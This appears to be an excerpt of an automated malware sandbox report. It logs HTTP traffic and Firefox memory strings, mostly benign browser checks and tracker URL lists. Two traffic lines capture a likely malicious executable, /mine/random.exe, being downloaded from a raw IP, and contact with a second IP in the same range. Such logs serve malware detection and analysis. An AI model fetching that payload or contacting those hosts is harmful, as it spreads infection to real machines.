Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://static.criteo.net/js/ld/publishertag.js://web-assets.toggl.com/app/assets/scripts/.jspictureinpicture%40mozilla.org:1.0.0://www.google-analytics.com/analytics.js://pub.doubleverify.com/signals/pub.js://www.google-analytics.com/gtm/jsFileUtils_closeAtomicFileOutputStreamresource://gre/modules/addons/XPIProvider.jsmwebcompat-reporter@mozilla.org.xpiFileUtils_closeSafeFileOutputStreamhttps://smartblock.firefox.etp/facebook.svg://www.everestjs.net/static/st.v3.js*://www.rva311.com/static/js/main..chunk.js://connect.facebook.net//sdk.js://www.googletagmanager.com/gtm.js://cdn.branch.io/branch-latest.min.js*://www.google-analytics.com/plugins/ua/ec.js://connect.facebook.net//all.js://libs.coremetrics.com/eluminate.js://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://track.adform.net/serving/scripts/trackpoint/resource://gre/modules/FileUtils.sys.mjs://.imgur.com/js/vendor..bundle.js://.imgur.io/js/vendor..bundle.jswebcompat-reporter%40mozilla.org:1.5.1://c.amazon-adsystem.com/aax2/apstag.js@mozilla.org/addons/addon-manager-startup;1https://smartblock.firefox.etp/play.svg://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.js://static.chartbeat.com/js/chartbeat_video.jsprivacy.restrict3rdpartystorage.url_decorations equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNames@mozilla.org/network/protocol;1?name=file@mozilla.org/dom/slow-script-debug;1DevTools telemetry entry point failed: devtools-commandkey-profiler-start-stop{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools-commandkey-profiler-captureDevToolsStartup.jsm:handleDebuggerFlagresource://devtools/shared/security/socket.jsJSON Viewer's onSave failed in startPersistenceGot invalid request to save JSON dataFailed to listen. Listener already attached.devtools.performance.popup.feature-flagFailed to listen. Callback argument missing.Unable to start devtools server on Failed to execute WebChannel callback:and deploy previews URLs are allowed.devtools/client/framework/devtoolsdevtools.performance.recording.ui-base-urldevtools.debugger.remote-websocketdevtools-commandkey-javascript-tracing-toggleresource://devtools/server/devtools-server.jsNo callback set for this channel.WebChannel/this._originCheckCallbackdevtools/client/framework/devtools-browserdevtools.debugger.features.javascript-tracingbrowser and that URL. Falling back to releaseDistinctSystemPrincipalLoader@mozilla.org/network/protocol;1?name=default^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?Scheme should be either http or httpsresource://gre/modules/FileUtils.sys.mjshttp://www.inbox.lv/rfc2368/?value=%shandlerSvc fillHandlerInfo: don't know this typeget FIXUP_FLAGS_MAKE_ALTERNATE_URI@mozilla.org/uriloader/local-handler-app;1Can't invoke URIFixup in the content processbrowser.fixup.domainsuffixwhitelist.{33d75835-722f-42c0-89cc-44f328e56a86}http://poczta.interia.pl/mh/?mailto=%shttps://poczta.interia.pl/mh/?mailto=%s^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)extractScheme/fixupChangedProtocol<https://mail.yahoo.co.jp/compose/?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s{c6cf88b7-452e-47eb-bdc9-86e3561648ef}_injectDefaultProtocolHandlersIfNeededhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sgecko.handlerService.defaultHandlersVersion@mozilla.org/uriloader/web-handler-app;1get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAG_FORCE_ALTERNATE_URI@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/JSONFile.sys.mjs^([a-z+.-]+:\/{0,3})*([^\/@]+@).+http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/DeferredTask.sys.mjsisDownloadsImprovementsAlreadyMigratedresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjs@mozilla.org/network/file-input-stream;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1resource://gre/modules/ExtHandlerService.sys.mjsMust have a source and a callback_finalizeInternal/this._finalizePromise<@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentSEC_ALLOW_CROS
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: color-mix(in srgb, currentColor 9%, transparent)://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: color-mix(in srgb, currentColor 9%, transparent)://www.facebook.com/platform/impression.phphttps://ads.stickyadstv.com/firefox-etpamazondotcom%40search.mozilla.org:1.6resource://gre/modules/TelemetryStorage.sys.mjsTelemetrySession::onEnvironmentChangeTELEMETRY_ASSEMBLE_PAYLOAD_EXCEPTIONtoolkit.telemetry.ipcBatchTimeoutresource://search-extensions/bing/resource://gre/modules/ctypes.sys.mjsresource://gre/modules/UpdateUtils.sys.mjstoolkit.telemetry.overrideUpdateChannel_loadSessionData - session data is invalidtoolkit.telemetry.reportingpolicy.firstRuntoolkit.telemetry.send.overrideOfficialChecktoolkit.telemetry.untrustedModulesPing.frequencyinternal-telemetry-after-subsession-splitresource://builtin-themes/alpenglow/assemblePayloadWithMeasurements - reason: firefox-compact-dark%40mozilla.org:1.2firefox-compact-light@mozilla.orgtoolkit.telemetry.healthping.enabledtoolkit.telemetry.archive.enabledtoolkit.telemetry.minSubsessionLength@mozilla.org/windows-registry-key;1TELEMETRY_SESSIONDATA_FAILED_VALIDATIONtoolkit.telemetry.firstShutdownPing.enableddelayedInit/this._delayedInitTask<toolkit.telemetry.testing.disableFuzzingDelayresource://search-extensions/wikipedia/firefox-compact-light%40mozilla.org:1.2resource://search-extensions/ddg/wikipedia%40search.mozilla.org:1.3firefox-alpenglow%40mozilla.org:1.4toolkit.telemetry.shutdownPingSender.enabledtoolkit.telemetry.newProfilePing.enabledtoolkit.telemetry.eventping.minimumFrequencytoolkit.telemetry.updatePing.enabledtoolkit.telemetry.eventping.maximumFrequencydatareporting.policy.currentPolicyVersiondatareporting.policy.minimumPolicyVersiontoolkit.telemetry.newProfilePing.delaytoolkit.telemetry.previousBuildIDtoolkit.telemetry.testing.overridePreReleaseenableTelemetryRecording - canRecordBase:resource://gre/modules/ExtensionParent.sys.mjsc0ffeec0-ffee-c0ff-eec0-ffeec0ffeec0resource://gre/modules/AsyncShutdown.sys.mjsdatareporting.healthreport.uploadEnableddatareporting.policy.dataSubmissionEnabledresource://gre/modules/ExtensionCommon.sys.mjsresource://gre/modules/E10SUtils.sys.mjsresource://gre/modules/ExtensionDNR.sys.mjsresource://gre/modules/ExtensionDNRStore.sys.mjsresource://gre/modules/AddonManager.sys.mjs8# equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details. equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details. equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D45503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D45503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D45503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.js[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/custom_functions.jsIt looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.js[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/custom_functions.jsIt looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single 